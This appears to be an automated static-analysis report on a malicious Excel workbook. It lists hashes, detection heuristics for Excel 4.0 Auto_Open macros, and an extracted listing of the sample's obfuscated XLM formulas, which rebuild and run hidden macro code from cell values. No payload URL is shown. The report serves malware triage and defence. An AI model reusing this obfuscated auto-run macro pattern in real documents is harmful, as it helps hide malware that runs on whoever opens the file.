Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 66c5951c00e7a9ad…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:42:25 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 2ae20143b288ecdee3c07e1048a7f181 SHA-1: d8c6f55b80ba3fc23ac78f4f5e228e0439bd6651 SHA-256: 66c5951c00e7a9ad56ca6bb22f4c584292bb247b2e8b8708763305108df36e03
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6526 bytes
SHA-256: fecde05df876e8b6c7ce17567e0c1277b7759a055b02f0c3b3ffa744d39f8d8e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
20 of 39 identifiers look randomly generated (e.g. 'VSpeyKxWZbIp') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FUXHyc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I186 
' 0018     24 LABEL : Cell Value, String Constant - cWpDNAMOT len=0 
' 0018     21 LABEL : Cell Value, String Constant - dVGiJv len=0 
' 0018     27 LABEL : Cell Value, String Constant - FYOCTvQNrGeC len=0 
' 0018     24 LABEL : Cell Value, String Constant - gluNzlyMr len=0 
' 0018     27 LABEL : Cell Value, String Constant - hQdFGXmDrXMK len=0 
' 0018     25 LABEL : Cell Value, String Constant - IMspvYrqlA len=0 
' 0018     20 LABEL : Cell Value, String Constant - kEdwt len=0 
' 0018     27 LABEL : Cell Value, String Constant - lvqOPOBbrdQp len=0 
' 0018     22 LABEL : Cell Value, String Constant - PPmxdmP len=0 
' 0018     24 LABEL : Cell Value, String Constant - prSkFQuVT len=0 
' 0018     21 LABEL : Cell Value, String Constant - QGvWBS len=0 
' 0018     22 LABEL : Cell Value, String Constant - QzjezXs len=0 
' 0018     23 LABEL : Cell Value, String Constant - uhtzBMvj len=0 
' 0018     20 LABEL : Cell Value, String Constant - UYnJI len=0 
' 0018     21 LABEL : Cell Value, String Constant - UzUYUA len=0 
' 0018     27 LABEL : Cell Value, String Constant - VSpeyKxWZbIp len=0 
' 0018     26 LABEL : Cell Value, String Constant - vyuKgBTyJCB len=0 
' 0018     21 LABEL : Cell Value, String Constant - xYRMLb len=0 
' 0018     25 LABEL : Cell Value, String Constant - YOjvGEKvCd len=0 
' 0018     21 LABEL : Cell Value, String Constant - yxbztx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FUXHyc,I89,"SET.NAME("lvqOPOBbrdQp",VALUE("0"))",""
'  FUXHyc,I92,"SET.NAME("prSkFQuVT",lvqOPOBbrdQp)",""
'  FUXHyc,I96,"SET.NAME("QzjezXs",lvqOPOBbrdQp)",""
'  FUXHyc,I98,"SET.NAME("hQdFGXmDrXMK",COUNTA(kEdwt))",""
'  FUXHyc,I103,"SET.NAME("PPmxdmP",COUNTA(QGvWBS))",""
'  FUXHyc,I107,[],""
'  FUXHyc,I112,"SET.NAME("UzUYUA","")",""
'  FUXHyc,I115,"prSkFQuVT",""
'  FUXHyc,I118,"SET.NAME("xYRMLb",HLOOKUP("*",kEdwt,prSkFQuVT,FALSE))",""
'  FUXHyc,I123,"VSpeyKxWZbIp",""
'  FUXHyc,I128,"SET.NAME("yxbztx",lvqOPOBbrdQp)",""
'  FUXHyc,I131,[],""
'  FUXHyc,I136,"yxbztx",""
'  FUXHyc,I138,"UYnJI",""
'  FUXHyc,I143,"cWpDNAMOT",""
'  FUXHyc,I148,"YOjvGEKvCd",""
'  FUXHyc,I150,"SET.NAME("gluNzlyMr",VALUE(HLOOKUP("*",QGvWBS,YOjvGEKvCd,FALSE)))",""
'  FUXHyc,I154,"vyuKgBTyJCB",""
'  FUXHyc,I159,"UzUYUA",""
'  FUXHyc,I164,"QzjezXs",""
'  FUXHyc,I166,NEXT(),""
'  FUXHyc,I171,"FYOCTvQNrGeC",""
'  FUXHyc,I173,"SET.NAME("f",INT(T(FORMULA(T(UzUYUA)&"",""&T(FYOCTvQNrGeC)))))",""
'  FUXHyc,I175,"dVGiJv",""
'  FUXHyc,I177,NEXT(),""
'  FUXHyc,I182,RETURN(),""
'  FUXHyc,I207,"SET.NAME("uhtzBMvj",I89)",""
'  FUXHyc,I210,"kEdwt",""
'  FUXHyc,I212,"SET.NAME("QGvWBS",R54C15)",""
'  FUXHyc,I216,"SET.NAME("dVGiJv",224)",""
'  FUXHyc,I219,"SET.NAME("IMspvYrqlA",9)",""
'  FUXHyc,I223,uhtzBMvj(),""
'  FUXHyc,I224,HALT(),""

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